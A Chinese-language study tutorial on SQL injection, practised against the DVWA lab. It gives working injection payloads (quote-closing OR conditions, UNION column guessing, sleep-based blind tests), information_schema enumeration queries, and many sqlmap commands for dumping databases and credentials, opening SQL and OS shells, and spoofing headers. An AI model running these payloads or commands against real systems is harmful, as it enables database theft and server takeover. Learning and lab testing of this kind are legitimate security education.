sql注入理解
阅读原文时间:2021年11月08日阅读:1

一、SQL注入产生的原因和危害

1、原因

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序。而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

2、危害

1、拖库导致用户数据泄漏;

2、危害web等应用的安全;

3、失去操作系统的控制权;

4、用户信息被非法贩卖;

5、危害企业及国家安全。

二、数据库简单介绍

数据库有五类语言:分别是DQL/DML/DDL/TCL/DCL

2.1、DQL:

数据查询语言(凡是带有select关键字的都是查询语句)

select…

2.2、DML:

数据操作语言(凡是对表当中的数据进行增删改的都是DML)

insert delete update

insert 增

delete删

update 改

这个主要是操作表中的数据data.

2.3、DDL

数据定义语言

凡是带有create、drop、alter的都是DDL。

DDL主要操作的是表的结构。不是表中的数据。

create:新建,等同于增

drop:删除

alter:修改

这个增删改和DML不同,这个主要是对表结构进行操作。

2.4、TCL

事务控制语言

包括:事务提交(commit) 事务回滚(rollback)

2.5、DCL

数据控制语言

例如:授权(grant) 撤销授权(revoke)等

三、数据库相关操作

环境:OWASP

表1:dvwa.users

表2:wordpress.wp_users

表3:mysql.user

**1.1查看当前使用的数据库

mysql> select database();**

+------------+

| database()

+------------+

| dvwa

+------------+

**1.2、查看当前库中的表

mysql> show tables;**

+----------------+

| Tables_in_dvwa

+----------------+

| guestbook

| users

+----------------+

1.3、查看表的结构

点击查看代码

mysql> show create table users\G
*************************** 1. row ***************************
       Table: users
Create Table: CREATE TABLE `users` (
  `user_id` int(6) NOT NULL DEFAULT '0',
  `first_name` varchar(15) DEFAULT NULL,
  `last_name` varchar(15) DEFAULT NULL,
  `user` varchar(15) DEFAULT NULL,
  `password` varchar(32) DEFAULT NULL,
  `avatar` varchar(70) DEFAULT NULL,
  `last_login` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TI
MESTAMP,
  `failed_login` int(3) DEFAULT NULL,
  PRIMARY KEY (`user_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin 

**1.4、查看表内容

mysql> select user_id,first_name,last_name from users;**

+---------+------------+-----------+

| user_id | first_name | last_name

+---------+------------+-----------+

| 1 | admin | admin

| 2 | Gordon | Brown

| 3 | Hack | Me

| 4 | Pablo | Picasso

| 5 | Bob | Smith

+---------+------------+-----------+

注意:

指定条件查询,值需要加引号,如果不加引号表示字段,表中如果没有相同的字段那么就会出错,数字不能作为字段,默认当做值处理。

**2.1、

mysql> select user_id,first_name,last_name from users where user_id=1;**

+---------+------------+-----------+

| user_id | first_name | last_name

+---------+------------+-----------+

| 1 | admin | admin

+---------+------------+-----------+

**2.2、

mysql> select user_id,first_name,last_name from users where first_name=admin;**

ERROR 1054 (42S22): Unknown column 'admin' in 'where clause'

mysql> select user_id,first_name,last_name from users where first_name="admin";

+---------+------------+-----------+

| user_id | first_name | last_name

+---------+------------+-----------+

| 1 | admin | admin

+---------+------------+-----------+

**2.3、

or一真全真 and一假全假**

mysql> select user_id,first_name,last_name from users where first_name="" or 1=1; 获得当前表中的指定字段的所有内容

+---------+------------+-----------+

| user_id | first_name | last_name

+---------+------------+-----------+

| 1 | admin | admin

| 2 | Gordon | Brown

| 3 | Hack | Me

| 4 | Pablo | Picasso

| 5 | Bob | Smith

+---------+------------+-----------+

注意:

3.1、union联合查询时,两张表中查询的字段需要一样

3.2、可以使用数字充当字段,因为数字不会报错,在不知道表的字段的情况下哦通过数字当字段一个一个去猜来判断字段数。

mysql> select * from users where user_id="2" union select 1,2,3,4,5,6, from guestbook\G

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'from guestbook' at line 1

mysql> select * from users where user_id="2" union select 1,2,3,4,5,6,7 from guestbook\G

ERROR 1222 (21000): The used SELECT statements have a different number of columns

mysql> select * from users where user_id="2" union select 1,2,3,4,5,6,7,8 from guestbook\G

*************************** 1. row ***************************

user_id: 2

first_name: Gordon

last_name: Brown

user: gordonb

password: e99a18c428cb38d5f260853678922e03

avatar: /hackable/users/gordonb.jpg

last_login: 2021-10-28 18:57:04

failed_login: 0

*************************** 2. row ***************************

user_id: 1

first_name: 2

last_name: 3

user: 4

password: 5

avatar: 6

last_login: 7

failed_login: 8

3.3、limit 可以限制查询的数量,limit(开始位置,查询长短)

mysql> select * from users where user_id="2" union select name,comment,3,4,5,6,7,8 from guestbook limit 3 \G

*************************** 1. row ***************************

user_id: 2

first_name: Gordon

last_name: Brown

user: gordonb

password: e99a18c428cb38d5f260853678922e03

avatar: /hackable/users/gordonb.jpg

last_login: 2021-10-28 18:57:04

failed_login: 0

*************************** 2. row ***************************

user_id: test

first_name: This is a test comment.

last_name: 3

user: 4

password: 5

avatar: 6

last_login: 7

failed_login: 8

3.4、如果要查询自己想要获取的信息,可以把不要的表构造一个输出为FALSE的语句,这样不要的表的数据就查询不到,从而只获取自己想要的数据。

mysql> select * from users where user_id="x" union select name,comment,3,4,5,6,7,8 from guestbook limit 3 \G

*************************** 1. row ***************************

user_id: test

first_name: This is a test comment.

last_name: 3

user: 4

password: 5

avatar: 6

last_login: 7

failed_login: 8

4.1、tables表可以查看数据库名和表名

table_schema字段 库名

table_name字段 表名

distinct 去重

mysql> select distinct table_schema from information_schema.tables limit 3\G

*************************** 1. row ***************************

table_schema: information_schema #库名

*************************** 2. row ***************************

table_schema: 5isns

*************************** 3. row ***************************

table_schema: 74cms

**group by table_schema 按照库名分组

group_concat(table_name)分组后将表名连接**

mysql> select table_schema,group_concat(table_name) from information_schema.tables where table_schema='dvwa' group by table_schema limit 3\G

*************************** 1. row ***************************

table_schema: dvwa

group_concat(table_name): guestbook,users #dvwa库中一共有两张表

4.2、columns表 查库名表名字段名

**table_schema 库民

table_name 表名

column 字段名**

mysql> select column_name from information_schema.columns where table_schema="dvwa" and table_name="users"; #查看DVWA库users表的列

+--------------+

| column_name

+--------------+

| user_id

| first_name

| last_name

| user

| password

| avatar

| last_login

| failed_login

+--------------+

四、SQL注入流程

1、判断是否有SQL注入漏洞

2、判断操作系统、数据库、和web应用类型

3、获取数据库信息包括管理员信息及拖库

4、加密信息破解,sqlmap可以自动破解

5、提升权限,获得sql-shell、os-shell、登陆应用后台

五、手动注入

错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点;通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型。

作用:确认是否为sql注入点和判断数据库类型。

例如:

页面报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

通过页面反馈的报错信息发现这是MySQL数据库。

布尔注入的思路是闭合SQL语句,构造or和and语句注释多余的代码

作用:可以获取当前表中返回字段的所有值。

原始语句:

SELECT first_name, last_name FROM users WHERE user_id = '$id';

SQL注入的语句解析:

SELECT first_name, last_name FROM users WHERE user_id = ' ' or 0=0 # ';

**第一个引号 ' 用于闭合前面的条件

or 0=0 表示为真的条件

"#" 注释后面所有的语句**

作用:通过联合前面的select查询语句,合并查询获取更多字段或者别的表的信息

concat()连接字段的作用

5.4、基于时间的盲注

有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点

没有页面返回的报错信息

1' and sleep(5) # 输入一个条件为真的条件然后设置休眠时间,如果存在漏洞页面会刷新5秒再返回。

六、Sqlmap自动化注入

SQL注入比较好用的工具,首推开源工具SQLmap。SQLmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测

**/root/.local/share/sqlmap/output/ 是sqlmap默认保存文件的位置

/usr/share/sqlmap/txt/wordlist.zip 是Sqlmap默认调用的字典文件**

--dbs 获得所有数据库 -D 列出指定数据库 --tables获得所有表 -T 指定表名 --columns 获取所有列 -C指定列名 --dump获取当前表的所有数据 --count 获取有几行数据 -C 读取数据(例如-C “user,password”) --dump 导出数据

sqlmap -u 目标url

-r REQUESTFILE(requestFile)从一个文件中载入的HTTP请求

-v 显示详细信息 默认为1

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息

2、同时显示debug信息

3、同时显示注入的payload

4、同时显示http请求

5、同时显示http响应头

6、同时显示Http响应页面

sqlmap --help|grep proxy查看命令的用法

--proxy= http:// 指定代理

--batch 自动化测试,帮助设置一些默认参数

--dbs 获取所有数据库

--users 获取所有用户

--dbms=mysql指定数据库

--current-user返回当前的用户

--data=“以post提交的参数,多个参数用&链接”

–delay 可以设定两个http请求间的延迟

–timeout 可以设定一个http请求超过对久判定为超时,默认是30秒

–p 指定你要测试的参数

--skip-waf 跳过WAF/IPS/IDS保护的启发式检测。

--crawl-exclude=.. 除了哪些页面之外全部爬取。例: --crawl-exclude="abc.com/logout.php"

--dump-format=DU.. 转储数据的格式 ,有(CSV (默认), HTML,SQLITE)三种。

获取数据库

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" --dbs

获取当前数据库

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" --current-db

获取数据库中的表

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa --tables

获取数据库中表的列

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa -T users --columns

获取表中的数据

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa -T

users -C “username ,password” --dump

显示3条数据

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" -D dvwa -T users -C "user ,password" --dump --start=1 --stop=3

--sql-shell 进入sql的交互模式(q退出)

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" --sql-shell

--os-shell 获取操作系统的权限(需要对一些目录有写权限才可以获取)

--sql-query=“select * from users”查询数据库

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" --sql-query=“select * from users”

--level共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己 的payload。

level>=2的时候就会测试HTTP Cookie。

level>=3的时候就会测试HTTP User-Agent/Referer头。

level=5 的时候会测试HTTP Host。

--risk 探测风险等级,共有3级,默认为1

--risk 1 (默认):测试大部分测试语句

--risk 2 增加基于时间的测试语句

--risk 3 增加OR语句的SQL注入测试

--data=' '

data后面的数据是以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" --data=“username=111111&password=111111”

--cookie=' '

当web需要登录的时候,可以先注册账号,然后获取cookie参数,

注意:url要 完整,sessionid后面是=,多个条件用;隔开

--user-agent=' '

可以伪造user-agent值

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" --level=3 --user-agent=“aaaaaa” --dbs

--random-agent

会从sqlmap/txt/user-agents.txt 中随机产生user-agent头

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" --level=3 --random-agent --dbs

--referer-' '

sqlmap可以在请求中伪造http中的referer

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" --referer=“http://www.baidu.com

–delay

可以设定两个http请求间的延迟,设定为1的时候是1s,默认是没有延迟的

–delay=10 说明一分钟请求6次

–timeout

设定http请求超过多少秒为超时,默认30秒

测试指定的参数*******(面试会问)

–prefix

注入payload字符串前缀

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" --prefix=" ')) "

后缀

sqlmap -u "http://…../vulnerabilities/sqli/?id=6&Submit=Submit#" --suffix=" ')) – "